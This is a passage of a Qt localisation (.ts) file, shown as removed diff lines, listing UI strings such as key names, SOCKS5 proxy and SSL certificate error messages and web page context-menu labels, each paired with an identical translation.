- <translation>Esc</translation>
- </message>
- <message>
- <source>Tab</source>
- <translation>Tab</translation>
- </message>
- <message>
- <source>Backtab</source>
- <translation>Backtab</translation>
- </message>
- <message>
- <source>Backspace</source>
- <translation>Backspace</translation>
- </message>
- <message>
- <source>Return</source>
- <translation>Return</translation>
- </message>
- <message>
- <source>Enter</source>
- <translation>Enter</translation>
- </message>
- <message>
- <source>Ins</source>
- <translation>Ins</translation>
- </message>
- <message>
- <source>Del</source>
- <translation>Del</translation>
- </message>
- <message>
- <source>Pause</source>
- <translation>Pause</translation>
- </message>
- <message>
- <source>Print</source>
- <translation>Print</translation>
- </message>
- <message>
- <source>SysReq</source>
- <translation>SysReq</translation>
- </message>
- <message>
- <source>Home</source>
- <translation>Home</translation>
- </message>
- <message>
- <source>End</source>
- <translation>End</translation>
- </message>
- <message>
- <source>Left</source>
- <translation>Left</translation>
- </message>
- <message>
- <source>Up</source>
- <translation>Up</translation>
- </message>
- <message>
- <source>Right</source>
- <translation>Right</translation>
- </message>
- <message>
- <source>Down</source>
- <translation>Down</translation>
- </message>
- <message>
- <source>PgUp</source>
- <translation>PgUp</translation>
- </message>
- <message>
- <source>PgDown</source>
- <translation>PgDown</translation>
- </message>
- <message>
- <source>CapsLock</source>
- <translation>CapsLock</translation>
- </message>
- <message>
- <source>NumLock</source>
- <translation>NumLock</translation>
- </message>
- <message>
- <source>ScrollLock</source>
- <translation>ScrollLock</translation>
- </message>
- <message>
- <source>Menu</source>
- <translation>Menu</translation>
- </message>
- <message>
- <source>Help</source>
- <translation>Help</translation>
- </message>
- <message>
- <source>Back</source>
- <translation>Back</translation>
- </message>
- <message>
- <source>Forward</source>
- <translation>Forward</translation>
- </message>
- <message>
- <source>Stop</source>
- <translation>Stop</translation>
- </message>
- <message>
- <source>Refresh</source>
- <translation>Refresh</translation>
- </message>
- <message>
- <source>Volume Down</source>
- <translation>Volume Down</translation>
- </message>
- <message>
- <source>Volume Mute</source>
- <translation>Volume Mute</translation>
- </message>
- <message>
- <source>Volume Up</source>
- <translation>Volume Up</translation>
- </message>
- <message>
- <source>Bass Boost</source>
- <translation>Bass Boost</translation>
- </message>
- <message>
- <source>Bass Up</source>
- <translation>Bass Up</translation>
- </message>
- <message>
- <source>Bass Down</source>
- <translation>Bass Down</translation>
- </message>
- <message>
- <source>Treble Up</source>
- <translation>Treble Up</translation>
- </message>
- <message>
- <source>Treble Down</source>
- <translation>Treble Down</translation>
- </message>
- <message>
- <source>Media Play</source>
- <translation>Media Play</translation>
- </message>
- <message>
- <source>Media Stop</source>
- <translation>Media Stop</translation>
- </message>
- <message>
- <source>Media Previous</source>
- <translation>Media Previous</translation>
- </message>
- <message>
- <source>Media Next</source>
- <translation>Media Next</translation>
- </message>
- <message>
- <source>Media Record</source>
- <translation>Media Record</translation>
- </message>
- <message>
- <source>Favorites</source>
- <translation>Favorites</translation>
- </message>
- <message>
- <source>Search</source>
- <translation>Search</translation>
- </message>
- <message>
- <source>Standby</source>
- <translation>Standby</translation>
- </message>
- <message>
- <source>Open URL</source>
- <translation>Open URL</translation>
- </message>
- <message>
- <source>Launch Mail</source>
- <translation>Launch Mail</translation>
- </message>
- <message>
- <source>Launch Media</source>
- <translation>Launch Media</translation>
- </message>
- <message>
- <source>Launch (0)</source>
- <translation>Launch (0)</translation>
- </message>
- <message>
- <source>Launch (1)</source>
- <translation>Launch (1)</translation>
- </message>
- <message>
- <source>Launch (2)</source>
- <translation>Launch (2)</translation>
- </message>
- <message>
- <source>Launch (3)</source>
- <translation>Launch (3)</translation>
- </message>
- <message>
- <source>Launch (4)</source>
- <translation>Launch (4)</translation>
- </message>
- <message>
- <source>Launch (5)</source>
- <translation>Launch (5)</translation>
- </message>
- <message>
- <source>Launch (6)</source>
- <translation>Launch (6)</translation>
- </message>
- <message>
- <source>Launch (7)</source>
- <translation>Launch (7)</translation>
- </message>
- <message>
- <source>Launch (8)</source>
- <translation>Launch (8)</translation>
- </message>
- <message>
- <source>Launch (9)</source>
- <translation>Launch (9)</translation>
- </message>
- <message>
- <source>Launch (A)</source>
- <translation>Launch (A)</translation>
- </message>
- <message>
- <source>Launch (B)</source>
- <translation>Launch (B)</translation>
- </message>
- <message>
- <source>Launch (C)</source>
- <translation>Launch (C)</translation>
- </message>
- <message>
- <source>Launch (D)</source>
- <translation>Launch (D)</translation>
- </message>
- <message>
- <source>Launch (E)</source>
- <translation>Launch (E)</translation>
- </message>
- <message>
- <source>Launch (F)</source>
- <translation>Launch (F)</translation>
- </message>
- <message>
- <source>Monitor Brightness Up</source>
- <translation>Monitor Brightness Up</translation>
- </message>
- <message>
- <source>Monitor Brightness Down</source>
- <translation>Monitor Brightness Down</translation>
- </message>
- <message>
- <source>Keyboard Light On/Off</source>
- <translation>Keyboard Light On/Off</translation>
- </message>
- <message>
- <source>Keyboard Brightness Up</source>
- <translation>Keyboard Brightness Up</translation>
- </message>
- <message>
- <source>Keyboard Brightness Down</source>
- <translation>Keyboard Brightness Down</translation>
- </message>
- <message>
- <source>Power Off</source>
- <translation>Power Off</translation>
- </message>
- <message>
- <source>Wake Up</source>
- <translation>Wake Up</translation>
- </message>
- <message>
- <source>Eject</source>
- <translation>Eject</translation>
- </message>
- <message>
- <source>Screensaver</source>
- <translation>Screensaver</translation>
- </message>
- <message>
- <source>WWW</source>
- <translation>WWW</translation>
- </message>
- <message>
- <source>Sleep</source>
- <translation>Sleep</translation>
- </message>
- <message>
- <source>LightBulb</source>
- <translation>LightBulb</translation>
- </message>
- <message>
- <source>Shop</source>
- <translation>Shop</translation>
- </message>
- <message>
- <source>History</source>
- <translation>History</translation>
- </message>
- <message>
- <source>Add Favorite</source>
- <translation>Add Favorite</translation>
- </message>
- <message>
- <source>Hot Links</source>
- <translation>Hot Links</translation>
- </message>
- <message>
- <source>Adjust Brightness</source>
- <translation>Adjust Brightness</translation>
- </message>
- <message>
- <source>Finance</source>
- <translation>Finance</translation>
- </message>
- <message>
- <source>Community</source>
- <translation>Community</translation>
- </message>
- <message>
- <source>Audio Rewind</source>
- <translation>Audio Rewind</translation>
- </message>
- <message>
- <source>Back Forward</source>
- <translation>Back Forward</translation>
- </message>
- <message>
- <source>Application Left</source>
- <translation>Application Left</translation>
- </message>
- <message>
- <source>Application Right</source>
- <translation>Application Right</translation>
- </message>
- <message>
- <source>Book</source>
- <translation>Book</translation>
- </message>
- <message>
- <source>CD</source>
- <translation>CD</translation>
- </message>
- <message>
- <source>Calculator</source>
- <translation>Calculator</translation>
- </message>
- <message>
- <source>Clear</source>
- <translation>Clear</translation>
- </message>
- <message>
- <source>Clear Grab</source>
- <translation>Clear Grab</translation>
- </message>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- <message>
- <source>Copy</source>
- <translation>Copy</translation>
- </message>
- <message>
- <source>Cut</source>
- <translation>Cut</translation>
- </message>
- <message>
- <source>Display</source>
- <translation>Display</translation>
- </message>
- <message>
- <source>DOS</source>
- <translation>DOS</translation>
- </message>
- <message>
- <source>Documents</source>
- <translation>Documents</translation>
- </message>
- <message>
- <source>Spreadsheet</source>
- <translation>Spreadsheet</translation>
- </message>
- <message>
- <source>Browser</source>
- <translation>Browser</translation>
- </message>
- <message>
- <source>Game</source>
- <translation>Game</translation>
- </message>
- <message>
- <source>Go</source>
- <translation>Go</translation>
- </message>
- <message>
- <source>iTouch</source>
- <translation>iTouch</translation>
- </message>
- <message>
- <source>Logoff</source>
- <translation>Logoff</translation>
- </message>
- <message>
- <source>Market</source>
- <translation>Market</translation>
- </message>
- <message>
- <source>Meeting</source>
- <translation>Meeting</translation>
- </message>
- <message>
- <source>Keyboard Menu</source>
- <translation>Keyboard Menu</translation>
- </message>
- <message>
- <source>Menu PB</source>
- <translation>Menu PB</translation>
- </message>
- <message>
- <source>My Sites</source>
- <translation>My Sites</translation>
- </message>
- <message>
- <source>News</source>
- <translation>News</translation>
- </message>
- <message>
- <source>Home Office</source>
- <translation>Home Office</translation>
- </message>
- <message>
- <source>Option</source>
- <translation>Option</translation>
- </message>
- <message>
- <source>Paste</source>
- <translation>Paste</translation>
- </message>
- <message>
- <source>Phone</source>
- <translation>Phone</translation>
- </message>
- <message>
- <source>Reply</source>
- <translation>Reply</translation>
- </message>
- <message>
- <source>Reload</source>
- <translation>Reload</translation>
- </message>
- <message>
- <source>Rotate Windows</source>
- <translation>Rotate Windows</translation>
- </message>
- <message>
- <source>Rotation PB</source>
- <translation>Rotation PB</translation>
- </message>
- <message>
- <source>Rotation KB</source>
- <translation>Rotation KB</translation>
- </message>
- <message>
- <source>Save</source>
- <translation>Save</translation>
- </message>
- <message>
- <source>Send</source>
- <translation>Send</translation>
- </message>
- <message>
- <source>Spellchecker</source>
- <translation>Spellchecker</translation>
- </message>
- <message>
- <source>Split Screen</source>
- <translation>Split Screen</translation>
- </message>
- <message>
- <source>Support</source>
- <translation>Support</translation>
- </message>
- <message>
- <source>Task Panel</source>
- <translation>Task Panel</translation>
- </message>
- <message>
- <source>Terminal</source>
- <translation>Terminal</translation>
- </message>
- <message>
- <source>Tools</source>
- <translation>Tools</translation>
- </message>
- <message>
- <source>Travel</source>
- <translation>Travel</translation>
- </message>
- <message>
- <source>Video</source>
- <translation>Video</translation>
- </message>
- <message>
- <source>Word Processor</source>
- <translation>Word Processor</translation>
- </message>
- <message>
- <source>XFer</source>
- <translation>XFer</translation>
- </message>
- <message>
- <source>Zoom In</source>
- <translation>Zoom In</translation>
- </message>
- <message>
- <source>Zoom Out</source>
- <translation>Zoom Out</translation>
- </message>
- <message>
- <source>Away</source>
- <translation>Away</translation>
- </message>
- <message>
- <source>Messenger</source>
- <translation>Messenger</translation>
- </message>
- <message>
- <source>WebCam</source>
- <translation>WebCam</translation>
- </message>
- <message>
- <source>Mail Forward</source>
- <translation>Mail Forward</translation>
- </message>
- <message>
- <source>Pictures</source>
- <translation>Pictures</translation>
- </message>
- <message>
- <source>Music</source>
- <translation>Music</translation>
- </message>
- <message>
- <source>Battery</source>
- <translation>Battery</translation>
- </message>
- <message>
- <source>Bluetooth</source>
- <translation>Bluetooth</translation>
- </message>
- <message>
- <source>Wireless</source>
- <translation>Wireless</translation>
- </message>
- <message>
- <source>Ultra Wide Band</source>
- <translation>Ultra Wide Band</translation>
- </message>
- <message>
- <source>Audio Forward</source>
- <translation>Audio Forward</translation>
- </message>
- <message>
- <source>Audio Repeat</source>
- <translation>Audio Repeat</translation>
- </message>
- <message>
- <source>Audio Random Play</source>
- <translation>Audio Random Play</translation>
- </message>
- <message>
- <source>Subtitle</source>
- <translation>Subtitle</translation>
- </message>
- <message>
- <source>Audio Cycle Track</source>
- <translation>Audio Cycle Track</translation>
- </message>
- <message>
- <source>Time</source>
- <translation>Time</translation>
- </message>
- <message>
- <source>View</source>
- <translation>View</translation>
- </message>
- <message>
- <source>Top Menu</source>
- <translation>Top Menu</translation>
- </message>
- <message>
- <source>Suspend</source>
- <translation>Suspend</translation>
- </message>
- <message>
- <source>Hibernate</source>
- <translation>Hibernate</translation>
- </message>
- <message>
- <source>Print Screen</source>
- <translation>Print Screen</translation>
- </message>
- <message>
- <source>Page Up</source>
- <translation>Page Up</translation>
- </message>
- <message>
- <source>Page Down</source>
- <translation>Page Down</translation>
- </message>
- <message>
- <source>Caps Lock</source>
- <translation>Caps Lock</translation>
- </message>
- <message>
- <source>Num Lock</source>
- <translation>Num Lock</translation>
- </message>
- <message>
- <source>Number Lock</source>
- <translation>Number Lock</translation>
- </message>
- <message>
- <source>Scroll Lock</source>
- <translation>Scroll Lock</translation>
- </message>
- <message>
- <source>Insert</source>
- <translation>Insert</translation>
- </message>
- <message>
- <source>Delete</source>
- <translation>Delete</translation>
- </message>
- <message>
- <source>Escape</source>
- <translation>Escape</translation>
- </message>
- <message>
- <source>System Request</source>
- <translation>System Request</translation>
- </message>
- <message>
- <source>Select</source>
- <translation>Select</translation>
- </message>
- <message>
- <source>Yes</source>
- <translation>Yes</translation>
- </message>
- <message>
- <source>No</source>
- <translation>No</translation>
- </message>
- <message>
- <source>Context1</source>
- <translation>Context1</translation>
- </message>
- <message>
- <source>Context2</source>
- <translation>Context2</translation>
- </message>
- <message>
- <source>Context3</source>
- <translation>Context3</translation>
- </message>
- <message>
- <source>Context4</source>
- <translation>Context4</translation>
- </message>
- <message>
- <source>Call</source>
- <translation>Call</translation>
- </message>
- <message>
- <source>Hangup</source>
- <translation>Hangup</translation>
- </message>
- <message>
- <source>Flip</source>
- <translation>Flip</translation>
- </message>
- <message>
- <source>Ctrl</source>
- <translation>Ctrl</translation>
- </message>
- <message>
- <source>Shift</source>
- <translation>Shift</translation>
- </message>
- <message>
- <source>Alt</source>
- <translation>Alt</translation>
- </message>
- <message>
- <source>Meta</source>
- <translation>Meta</translation>
- </message>
- <message>
- <source>+</source>
- <translation>+</translation>
- </message>
- <message>
- <source>F%1</source>
- <translation>F%1</translation>
- </message>
- <message>
- <source>Home Page</source>
- <translation>Home Page</translation>
- </message>
- </context>
- <context>
- <name>QSlider</name>
- <message>
- <source>Page left</source>
- <translation>Page left</translation>
- </message>
- <message>
- <source>Page up</source>
- <translation>Page up</translation>
- </message>
- <message>
- <source>Position</source>
- <translation>Position</translation>
- </message>
- <message>
- <source>Page right</source>
- <translation>Page right</translation>
- </message>
- <message>
- <source>Page down</source>
- <translation>Page down</translation>
- </message>
- </context>
- <context>
- <name>QSocks5SocketEngine</name>
- <message>
- <source>Connection to proxy refused</source>
- <translation>Connection to proxy refused</translation>
- </message>
- <message>
- <source>Connection to proxy closed prematurely</source>
- <translation>Connection to proxy closed prematurely</translation>
- </message>
- <message>
- <source>Proxy host not found</source>
- <translation>Proxy host not found</translation>
- </message>
- <message>
- <source>Connection to proxy timed out</source>
- <translation>Connection to proxy timed out</translation>
- </message>
- <message>
- <source>Proxy authentication failed</source>
- <translation>Proxy authentication failed</translation>
- </message>
- <message>
- <source>Proxy authentication failed: %1</source>
- <translation>Proxy authentication failed: %1</translation>
- </message>
- <message>
- <source>SOCKS version 5 protocol error</source>
- <translation>SOCKS version 5 protocol error</translation>
- </message>
- <message>
- <source>General SOCKSv5 server failure</source>
- <translation>General SOCKSv5 server failure</translation>
- </message>
- <message>
- <source>Connection not allowed by SOCKSv5 server</source>
- <translation>Connection not allowed by SOCKSv5 server</translation>
- </message>
- <message>
- <source>TTL expired</source>
- <translation>TTL expired</translation>
- </message>
- <message>
- <source>SOCKSv5 command not supported</source>
- <translation>SOCKSv5 command not supported</translation>
- </message>
- <message>
- <source>Address type not supported</source>
- <translation>Address type not supported</translation>
- </message>
- <message>
- <source>Unknown SOCKSv5 proxy error code 0x%1</source>
- <translation>Unknown SOCKSv5 proxy error code 0x%1</translation>
- </message>
- <message>
- <source>Network operation timed out</source>
- <translation>Network operation timed out</translation>
- </message>
- </context>
- <context>
- <name>QSoftKeyManager</name>
- <message>
- <source>Ok</source>
- <translation>Ok</translation>
- </message>
- <message>
- <source>Select</source>
- <translation>Select</translation>
- </message>
- <message>
- <source>Done</source>
- <translation>Done</translation>
- </message>
- <message>
- <source>Options</source>
- <translation>Options</translation>
- </message>
- <message>
- <source>Cancel</source>
- <translation>Cancel</translation>
- </message>
- <message>
- <source>Exit</source>
- <translation>Exit</translation>
- </message>
- </context>
- <context>
- <name>QSpinBox</name>
- <message>
- <source>More</source>
- <translation>More</translation>
- </message>
- <message>
- <source>Less</source>
- <translation>Less</translation>
- </message>
- </context>
- <context>
- <name>QSql</name>
- <message>
- <source>Delete</source>
- <translation>Delete</translation>
- </message>
- <message>
- <source>Delete this record?</source>
- <translation>Delete this record?</translation>
- </message>
- <message>
- <source>Yes</source>
- <translation>Yes</translation>
- </message>
- <message>
- <source>No</source>
- <translation>No</translation>
- </message>
- <message>
- <source>Insert</source>
- <translation>Insert</translation>
- </message>
- <message>
- <source>Update</source>
- <translation>Update</translation>
- </message>
- <message>
- <source>Save edits?</source>
- <translation>Save edits?</translation>
- </message>
- <message>
- <source>Cancel</source>
- <translation>Cancel</translation>
- </message>
- <message>
- <source>Confirm</source>
- <translation>Confirm</translation>
- </message>
- <message>
- <source>Cancel your edits?</source>
- <translation>Cancel your edits?</translation>
- </message>
- </context>
- <context>
- <name>QSslSocket</name>
- <message>
- <source>Unable to write data: %1</source>
- <translation>Unable to write data: %1</translation>
- </message>
- <message>
- <source>Unable to decrypt data: %1</source>
- <translation>Unable to decrypt data: %1</translation>
- </message>
- <message>
- <source>Error while reading: %1</source>
- <translation>Error while reading: %1</translation>
- </message>
- <message>
- <source>Error during SSL handshake: %1</source>
- <translation>Error during SSL handshake: %1</translation>
- </message>
- <message>
- <source>Error creating SSL context (%1)</source>
- <translation>Error creating SSL context (%1)</translation>
- </message>
- <message>
- <source>Invalid or empty cipher list (%1)</source>
- <translation>Invalid or empty cipher list (%1)</translation>
- </message>
- <message>
- <source>Private key does not certify public key, %1</source>
- <translation>Private key does not certify public key, %1</translation>
- </message>
- <message>
- <source>Error creating SSL session, %1</source>
- <translation>Error creating SSL session, %1</translation>
- </message>
- <message>
- <source>Error creating SSL session: %1</source>
- <translation>Error creating SSL session: %1</translation>
- </message>
- <message>
- <source>Cannot provide a certificate with no key, %1</source>
- <translation>Cannot provide a certificate with no key, %1</translation>
- </message>
- <message>
- <source>Error loading local certificate, %1</source>
- <translation>Error loading local certificate, %1</translation>
- </message>
- <message>
- <source>Error loading private key, %1</source>
- <translation>Error loading private key, %1</translation>
- </message>
- <message>
- <source>No error</source>
- <translation>No error</translation>
- </message>
- <message>
- <source>The issuer certificate could not be found</source>
- <translation>The issuer certificate could not be found</translation>
- </message>
- <message>
- <source>The certificate signature could not be decrypted</source>
- <translation>The certificate signature could not be decrypted</translation>
- </message>
- <message>
- <source>The public key in the certificate could not be read</source>
- <translation>The public key in the certificate could not be read</translation>
- </message>
- <message>
- <source>The signature of the certificate is invalid</source>
- <translation>The signature of the certificate is invalid</translation>
- </message>
- <message>
- <source>The certificate is not yet valid</source>
- <translation>The certificate is not yet valid</translation>
- </message>
- <message>
- <source>The certificate has expired</source>
- <translation>The certificate has expired</translation>
- </message>
- <message>
- <source>The certificate&apos;s notBefore field contains an invalid time</source>
- <translation>The certificate&apos;s notBefore field contains an invalid time</translation>
- </message>
- <message>
- <source>The certificate&apos;s notAfter field contains an invalid time</source>
- <translation>The certificate&apos;s notAfter field contains an invalid time</translation>
- </message>
- <message>
- <source>The certificate is self-signed, and untrusted</source>
- <translation>The certificate is self-signed, and untrusted</translation>
- </message>
- <message>
- <source>The root certificate of the certificate chain is self-signed, and untrusted</source>
- <translation>The root certificate of the certificate chain is self-signed, and untrusted</translation>
- </message>
- <message>
- <source>The issuer certificate of a locally looked up certificate could not be found</source>
- <translation>The issuer certificate of a locally looked up certificate could not be found</translation>
- </message>
- <message>
- <source>No certificates could be verified</source>
- <translation>No certificates could be verified</translation>
- </message>
- <message>
- <source>One of the CA certificates is invalid</source>
- <translation>One of the CA certificates is invalid</translation>
- </message>
- <message>
- <source>The basicConstraints path length parameter has been exceeded</source>
- <translation>The basicConstraints path length parameter has been exceeded</translation>
- </message>
- <message>
- <source>The supplied certificate is unsuitable for this purpose</source>
- <translation>The supplied certificate is unsuitable for this purpose</translation>
- </message>
- <message>
- <source>The root CA certificate is not trusted for this purpose</source>
- <translation>The root CA certificate is not trusted for this purpose</translation>
- </message>
- <message>
- <source>The root CA certificate is marked to reject the specified purpose</source>
- <translation>The root CA certificate is marked to reject the specified purpose</translation>
- </message>
- <message>
- <source>The current candidate issuer certificate was rejected because its subject name did not match the issuer name of the current certificate</source>
- <translation>The current candidate issuer certificate was rejected because its subject name did not match the issuer name of the current certificate</translation>
- </message>
- <message>
- <source>The current candidate issuer certificate was rejected because its issuer name and serial number was present and did not match the authority key identifier of the current certificate</source>
- <translation>The current candidate issuer certificate was rejected because its issuer name and serial number was present and did not match the authority key identifier of the current certificate</translation>
- </message>
- <message>
- <source>The peer did not present any certificate</source>
- <translation>The peer did not present any certificate</translation>
- </message>
- <message>
- <source>The host name did not match any of the valid hosts for this certificate</source>
- <translation>The host name did not match any of the valid hosts for this certificate</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- </context>
- <context>
- <name>QStateMachine</name>
- <message>
- <source>Missing initial state in compound state &apos;%1&apos;</source>
- <translation>Missing initial state in compound state &apos;%1&apos;</translation>
- </message>
- <message>
- <source>Missing default state in history state &apos;%1&apos;</source>
- <translation>Missing default state in history state &apos;%1&apos;</translation>
- </message>
- <message>
- <source>No common ancestor for targets and source of transition from state &apos;%1&apos;</source>
- <translation>No common ancestor for targets and source of transition from state &apos;%1&apos;</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- </context>
- <context>
- <name>QSystemSemaphore</name>
- <message>
- <source>%1: does not exist</source>
- <translation>%1: does not exist</translation>
- </message>
- <message>
- <source>%1: out of resources</source>
- <translation>%1: out of resources</translation>
- </message>
- <message>
- <source>%1: permission denied</source>
- <translation>%1: permission denied</translation>
- </message>
- <message>
- <source>%1: already exists</source>
- <translation>%1: already exists</translation>
- </message>
- <message>
- <source>%1: unknown error %2</source>
- <translation>%1: unknown error %2</translation>
- </message>
- </context>
- <context>
- <name>QTDSDriver</name>
- <message>
- <source>Unable to open connection</source>
- <translation>Unable to open connection</translation>
- </message>
- <message>
- <source>Unable to use database</source>
- <translation>Unable to use database</translation>
- </message>
- </context>
- <context>
- <name>QTabBar</name>
- <message>
- <source>Scroll Left</source>
- <translation>Scroll Left</translation>
- </message>
- <message>
- <source>Scroll Right</source>
- <translation>Scroll Right</translation>
- </message>
- </context>
- <context>
- <name>QTcpServer</name>
- <message>
- <source>Operation on socket is not supported</source>
- <translation>Operation on socket is not supported</translation>
- </message>
- </context>
- <context>
- <name>QTextControl</name>
- <message>
- <source>&amp;Undo</source>
- <translation>&amp;Undo</translation>
- </message>
- <message>
- <source>&amp;Redo</source>
- <translation>&amp;Redo</translation>
- </message>
- <message>
- <source>Cu&amp;t</source>
- <translation>Cu&amp;t</translation>
- </message>
- <message>
- <source>&amp;Copy</source>
- <translation>&amp;Copy</translation>
- </message>
- <message>
- <source>Copy &amp;Link Location</source>
- <translation>Copy &amp;Link Location</translation>
- </message>
- <message>
- <source>&amp;Paste</source>
- <translation>&amp;Paste</translation>
- </message>
- <message>
- <source>Delete</source>
- <translation>Delete</translation>
- </message>
- <message>
- <source>Select All</source>
- <translation>Select All</translation>
- </message>
- </context>
- <context>
- <name>QToolButton</name>
- <message>
- <source>Press</source>
- <translation>Press</translation>
- </message>
- <message>
- <source>Open</source>
- <translation>Open</translation>
- </message>
- </context>
- <context>
- <name>QUdpSocket</name>
- <message>
- <source>This platform does not support IPv6</source>
- <translation>This platform does not support IPv6</translation>
- </message>
- </context>
- <context>
- <name>QUndoGroup</name>
- <message>
- <source>Undo</source>
- <translation>Undo</translation>
- </message>
- <message>
- <source>Redo</source>
- <translation>Redo</translation>
- </message>
- </context>
- <context>
- <name>QUndoModel</name>
- <message>
- <source>&lt;empty&gt;</source>
- <translation>&lt;empty&gt;</translation>
- </message>
- </context>
- <context>
- <name>QUndoStack</name>
- <message>
- <source>Undo</source>
- <translation>Undo</translation>
- </message>
- <message>
- <source>Redo</source>
- <translation>Redo</translation>
- </message>
- </context>
- <context>
- <name>QUnicodeControlCharacterMenu</name>
- <message>
- <source>LRM Left-to-right mark</source>
- <translation>LRM Left-to-right mark</translation>
- </message>
- <message>
- <source>RLM Right-to-left mark</source>
- <translation>RLM Right-to-left mark</translation>
- </message>
- <message>
- <source>ZWJ Zero width joiner</source>
- <translation>ZWJ Zero width joiner</translation>
- </message>
- <message>
- <source>ZWNJ Zero width non-joiner</source>
- <translation>ZWNJ Zero width non-joiner</translation>
- </message>
- <message>
- <source>ZWSP Zero width space</source>
- <translation>ZWSP Zero width space</translation>
- </message>
- <message>
- <source>LRE Start of left-to-right embedding</source>
- <translation>LRE Start of left-to-right embedding</translation>
- </message>
- <message>
- <source>RLE Start of right-to-left embedding</source>
- <translation>RLE Start of right-to-left embedding</translation>
- </message>
- <message>
- <source>LRO Start of left-to-right override</source>
- <translation>LRO Start of left-to-right override</translation>
- </message>
- <message>
- <source>RLO Start of right-to-left override</source>
- <translation>RLO Start of right-to-left override</translation>
- </message>
- <message>
- <source>PDF Pop directional formatting</source>
- <translation>PDF Pop directional formatting</translation>
- </message>
- <message>
- <source>Insert Unicode control character</source>
- <translation>Insert Unicode control character</translation>
- </message>
- </context>
- <context>
- <name>QWebFrame</name>
- <message>
- <source>Request cancelled</source>
- <translation>Request cancelled</translation>
- </message>
- <message>
- <source>Request blocked</source>
- <translation>Request blocked</translation>
- </message>
- <message>
- <source>Cannot show URL</source>
- <translation>Cannot show URL</translation>
- </message>
- <message>
- <source>Frame load interrupted by policy change</source>
- <translation>Frame load interrupted by policy change</translation>
- </message>
- <message>
- <source>Cannot show mimetype</source>
- <translation>Cannot show mimetype</translation>
- </message>
- <message>
- <source>File does not exist</source>
- <translation>File does not exist</translation>
- </message>
- </context>
- <context>
- <name>QWebPage</name>
- <message>
- <source>Submit</source>
- <comment>default label for Submit buttons in forms on web pages</comment>
- <translation>Submit</translation>
- </message>
- <message>
- <source>Submit</source>
- <comment>Submit (input element) alt text for &lt;input&gt; elements with no alt, title, or value</comment>
- <translation>Submit</translation>
- </message>
- <message>
- <source>Reset</source>
- <comment>default label for Reset buttons in forms on web pages</comment>
- <translation>Reset</translation>
- </message>
- <message>
- <source>Choose File</source>
- <comment>title for file button used in HTML forms</comment>
- <translation>Choose File</translation>
- </message>
- <message>
- <source>No file selected</source>
- <comment>text to display in file button used in HTML forms when no file is selected</comment>
- <translation>No file selected</translation>
- </message>
- <message>
- <source>Open in New Window</source>
- <comment>Open in New Window context menu item</comment>
- <translation>Open in New Window</translation>
- </message>
- <message>
- <source>Save Link...</source>
- <comment>Download Linked File context menu item</comment>
- <translation>Save Link...</translation>
- </message>
- <message>
- <source>Copy Link</source>
- <comment>Copy Link context menu item</comment>
- <translation>Copy Link</translation>
- </message>
- <message>
- <source>Open Image</source>
- <comment>Open Image in New Window context menu item</comment>
- <translation>Open Image</translation>
- </message>
- <message>
- <source>Save Image</source>
- <comment>Download Image context menu item</comment>
- <translation>Save Image</translation>
- </message>
- <message>
- <source>Copy Image</source>
- <comment>Copy Link context menu item</comment>
- <translation>Copy Image</translation>
- </message>
- <message>
- <source>Open Frame</source>
- <comment>Open Frame in New Window context menu item</comment>
- <translation>Open Frame</translation>
- </message>
- <message>
- <source>Copy</source>
- <comment>Copy context menu item</comment>
- <translation>Copy</translation>
- </message>
- <message>
- <source>Go Back</source>
- <comment>Back context menu item</comment>
- <translation>Go Back</translation>
- </message>
- <message>
- <source>Go Forward</source>
- <comment>Forward context menu item</comment>
- <translation>Go Forward</translation>
- </message>
- <message>
- <source>Stop</source>
- <comment>Stop context menu item</comment>
- <translation>Stop</translation>
- </message>
- <message>
- <source>Reload</source>
- <comment>Reload context menu item</comment>
- <translation>Reload</translation>
- </message>
- <message>
- <source>Cut</source>
- <comment>Cut context menu item</comment>
- <translation>Cut</translation>
- </message>
- <message>
- <source>Paste</source>
- <comment>Paste context menu item</comment>
- <translation>Paste</translation>
- </message>
- <message>
- <source>No Guesses Found</source>
- <comment>No Guesses Found context menu item</comment>
- <translation>No Guesses Found</translation>
- </message>
- <message>
- <source>Ignore</source>
- <comment>Ignore Spelling context menu item</comment>
- <translation>Ignore</translation>
- </message>
- <message>
- <source>Add To Dictionary</source>
- <comment>Learn Spelling context menu item</comment>
- <translation>Add To Dictionary</translation>
- </message>
- <message>
- <source>Search The Web</source>
- <comment>Search The Web context menu item</comment>
- <translation>Search The Web</translation>
- </message>
- <message>
- <source>Look Up In Dictionary</source>
- <comment>Look Up in Dictionary context menu item</comment>
- <translation>Look Up In Dictionary</translation>
- </message>
- <message>
- <source>Open Link</source>
- <comment>Open Link context menu item</comment>
- <translation>Open Link</translation>
- </message>
- <message>
- <source>Ignore</source>
- <comment>Ignore Grammar context menu item</comment>
- <translation>Ignore</translation>
- </message>
- <message>
- <source>Spelling</source>
- <comment>Spelling and Grammar context sub-menu item</comment>
- <translation>Spelling</translation>
- </message>
- <message>
- <source>Show Spelling and Grammar</source>
- <comment>menu item title</comment>
- <translation>Show Spelling and Grammar</translation>
- </message>
- <message>
- <source>Hide Spelling and Grammar</source>
- <comment>menu item title</comment>
- <translation>Hide Spelling and Grammar</translation>
- </message>
- <message>
- <source>Check Spelling</source>
- <comment>Check spelling context menu item</comment>
- <translation>Check Spelling</translation>
- </message>
- <message>
- <source>Check Spelling While Typing</source>
- <comment>Check spelling while typing context menu item</comment>
- <translation>Check Spelling While Typing</translation>
- </message>
- <message>
- <source>Check Grammar With Spelling</source>
- <comment>Check grammar with spelling context menu item</comment>
- <translation>Check Grammar With Spelling</translation>
- </message>
- <message>
- <source>Fonts</source>
- <comment>Font context sub-menu item</comment>
- <translation>Fonts</translation>
- </message>
- <message>
- <source>Bold</source>
- <comment>Bold context menu item</comment>
- <translation>Bold</translation>
- </message>
- <message>
- <source>Italic</source>
- <comment>Italic context menu item</comment>
- <translation>Italic</translation>
- </message>
- <message>
- <source>Underline</source>
- <comment>Underline context menu item</comment>
- <translation>Underline</translation>
- </message>
- <message>
- <source>Outline</source>
- <comment>Outline context menu item</comment>
- <translation>Outline</translation>
- </message>
- <message>
- <source>Direction</source>
- <comment>Writing direction context sub-menu item</comment>
- <translation>Direction</translation>
- </message>
- <message>
- <source>Text Direction</source>
- <comment>Text direction context sub-menu item</comment>
- <translation>Text Direction</translation>
- </message>
- <message>
- <source>Default</source>
- <comment>Default writing direction context menu item</comment>
- <translation>Default</translation>
- </message>
- <message>
- <source>Left to Right</source>
